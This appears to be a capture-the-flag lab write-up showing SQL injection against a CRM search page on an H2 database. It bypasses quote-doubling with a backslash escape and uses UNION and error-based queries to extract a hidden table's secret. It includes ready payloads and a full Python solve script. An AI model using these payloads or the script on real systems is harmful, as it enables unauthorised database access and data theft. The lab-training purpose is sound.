Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2
Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: backslash_escape_quote_doubling_bypass, error_based_data_extraction, union_select_with_listagg, char_concatenation_to_avoid_quotes, sql_comment_for_repeated_injection_points
Summary
Walkthrough of the CUSTOM Web Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2. Task: CRM platform with contacts search using H2 database; input sanitized by quote-doubling but backslash not escaped. Solution: Backslash escape bypasses quote-doubling, enabling UNION/error-based S
Description
DealForge is an enterprise CRM platform built by ForgeStack Technologies for managing sales pipelines, contacts, and business deals. The application features rich search and filtering capabilities across its data models, powered by a Java ORM-based data access layer with an embedded H2 database. The objective is to probe the application's data retrieval mechanisms and find a way to access restricted information stored in the system's backend database. The flag is hidden somewhere in the database — but not in any of the tables you can see through normal application usage.
English summary: A Java Spring Boot CRM application with an embedded H2 database. The contacts search feature is vulnerable to SQL injection through a backslash escape bypass of the quote-doubling defense. The flag is stored in a hidden SYSTEM_SECRETS table not accessible through normal UI.
Credentials: user@test.com / password123 Target: https://3b789fdb-2118-432b-a162-5a31fcd4aeb4.labs.hackadvisor.io/
Analysis
Application Reconnaissance
After logging in with provided credentials (JSESSIONID session), the application presents a CRM dashboard with contacts, deals, and activities. The contacts page at /contacts?q= provides a search feature that queries across multiple fields.
SQL Query Structure
The underlying query (revealed via error messages):
sql read-only • copy allowedSELECT c.* FROM CONTACT c WHERE UPPER(c.FULL_NAME) LIKE UPPER('%INPUT%') OR UPPER(c.COMPANY) LIKE UPPER('%INPUT%') OR UPPER(c.EMAIL) LIKE UPPER('%INPUT%') ORDER BY c.FULL_NAME
Key observations:
- User input is inserted into 3 separate LIKE clauses in the same query
- The application uses
UPPER()for case-insensitive search - The CONTACT table has 11 columns (determined via ORDER BY)
Defense Mechanism: Quote Doubling
The application sanitizes single quotes by doubling them: ' → ''. This is a standard Java/Hibernate defense that normally prevents SQL injection by ensuring quotes remain within string context.
Vulnerability: Backslash Escape Bypass
In H2 database, the backslash character \ acts as an escape character within strings. When combined with quote-doubling:
- Attacker inputs:
\' PAYLOAD - App doubles the quote:
\'' PAYLOAD - H2 interprets
\'as an escaped literal quote character - The remaining
'(from the doubling) closes the string PAYLOADis now interpreted as SQL code
This is a well-known bypass documented in the Sonar article "Exploiting Hibernate Injections."
Confirmation
Input \' causes a SQL syntax error that reveals the full query:
sql read-only • copy allowedSELECT c.* FROM CONTACT c WHERE UPPER(c.FULL_NAME) LIKE UPPER('%\''%') OR UPPER(c.COMPANY) LIKE UPPER('%\''%') OR UPPER(c.EMAIL) LIKE UPPER('%\''%') ORDER BY c.FULL_NAME
The \ escapes the first ', the doubled ' closes the string, and %') becomes SQL code outside the string.
Solution
Step 1: Boolean-Based Injection Confirmation
Since the input appears in 3 LIKE clauses, the payload must handle all three gracefully:
Payload: ') OR 1=1 OR ('x')=UPPER('
This returns all 40 contacts, confirming injection. The payload works because:
- First clause:
...LIKE UPPER('%\'' ) OR 1=1 OR ('x')=UPPER('%')— breaks out, injects OR 1=1, then creates valid syntax for the remaining clauses
Step 2: Column Count via ORDER BY
Using -- comment to ignore the repeated injection points:
Payload: \' ) ORDER BY 11 --
ORDER BY 11 succeeds, ORDER BY 12 fails → 11 columns in the CONTACT table.
Step 3: Schema Enumeration via Error-Based Extraction
UNION SELECT with a subquery in column 3 triggers a type conversion error that leaks the value in the error message. Using CHAR() concatenation to avoid quotes (which would be doubled):
sql read-only • copy allowedPayload: \' ) UNION SELECT 1,CHAR(65),(SELECT LISTAGG(TABLE_NAME, CHAR(44)) WITHIN GROUP (ORDER BY TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = CHAR(80)||CHAR(85)||CHAR(66)||CHAR(76)||CHAR(73)||CHAR(67)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--
Result leaked in error: ACTIVITY, CONTACT, DEAL, SYSTEM_SECRETS, USERS
Step 4: Hidden Table Column Enumeration
Enumerated columns of SYSTEM_SECRETS table:
ID— integerKEY_NAME— varcharKEY_VALUE— varchar
Step 5: Flag Extraction
Extracted KEY_NAME value: flag
Extracted KEY_VALUE using SUBSTRING to handle error message length truncation:
sql read-only • copy allowed-- First part (position 1): \' ) UNION SELECT 1,CHAR(65),(SELECT SUBSTRING(KEY_VALUE,1,32) FROM SYSTEM_SECRETS WHERE KEY_NAME=CHAR(102)||CHAR(108)||CHAR(97)||CHAR(103)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)-- -- Result: FLAG{REDACTED -- Second part (position 33): \' ) UNION SELECT 1,CHAR(65),(SELECT SUBSTRING(KEY_VALUE,33,10) FROM SYSTEM_SECRETS WHERE KEY_NAME=CHAR(102)||CHAR(108)||CHAR(97)||CHAR(103)),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)-- -- Result: 3b027}
Combined: FLAG{REDACTED}
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ DealForge CRM - SQL Injection via Backslash Escape Bypass Exploits quote-doubling bypass in H2 database using backslash escape """ import requests import re TARGET = "https://3b789fdb-2118-432b-a162-5a31fcd4aeb4.labs.hackadvisor.io" def login(): """Login and get session""" s = requests.Session() s.post(f"{TARGET}/login", data={ "username": "user@test.com", "password": "password123" }, allow_redirects=True) return s def search(session, query): """Search contacts with injection payload""" r = session.get(f"{TARGET}/contacts", params={"q": query}) return r.text def chars(s): """Convert string to CHAR() concatenation to avoid quotes""" return "||".join(f"CHAR({ord(c)})" for c in s) def extract_error(html): """Extract leaked data from error message""" match = re.search(r'Search error[^<]*<[^>]*>([^<]+)', html) if match: return match.group(1) return None def exploit(session): # Step 1: Enumerate tables payload = ( f"\\' ) UNION SELECT 1,CHAR(65)," f"(SELECT LISTAGG(TABLE_NAME, CHAR(44)) WITHIN GROUP (ORDER BY TABLE_NAME) " f"FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = {chars('PUBLIC')})," f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--" ) html = search(session, payload) print(f"[*] Tables: {extract_error(html)}") # Step 2: Extract flag (first part) payload = ( f"\\' ) UNION SELECT 1,CHAR(65)," f"(SELECT SUBSTRING(KEY_VALUE,1,32) FROM SYSTEM_SECRETS " f"WHERE KEY_NAME={chars('flag')})," f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--" ) html = search(session, payload) part1 = extract_error(html) print(f"[*] Flag part 1: {part1}") # Step 3: Extract flag (second part) payload = ( f"\\' ) UNION SELECT 1,CHAR(65)," f"(SELECT SUBSTRING(KEY_VALUE,33,10) FROM SYSTEM_SECRETS " f"WHERE KEY_NAME={chars('flag')})," f"CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65),CHAR(65)--" ) html = search(session, payload) part2 = extract_error(html) print(f"[*] Flag part 2: {part2}") print(f"\n[+] Flag: {part1}{part2}") if __name__ == "__main__": session = login() exploit(session)
Key Takeaways / Lessons
- Mastering backslash_escape_quote_doubling_bypass, error_based_data_extraction, union_select_with_listagg, char_concatenation_to_avoid_quotes, sql_comment_for_repeated_injection_points was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 86 — DealForge — SQL Injection via Backslash Escape Bypass of Quote-Doubling in H2 • Difficulty: Medium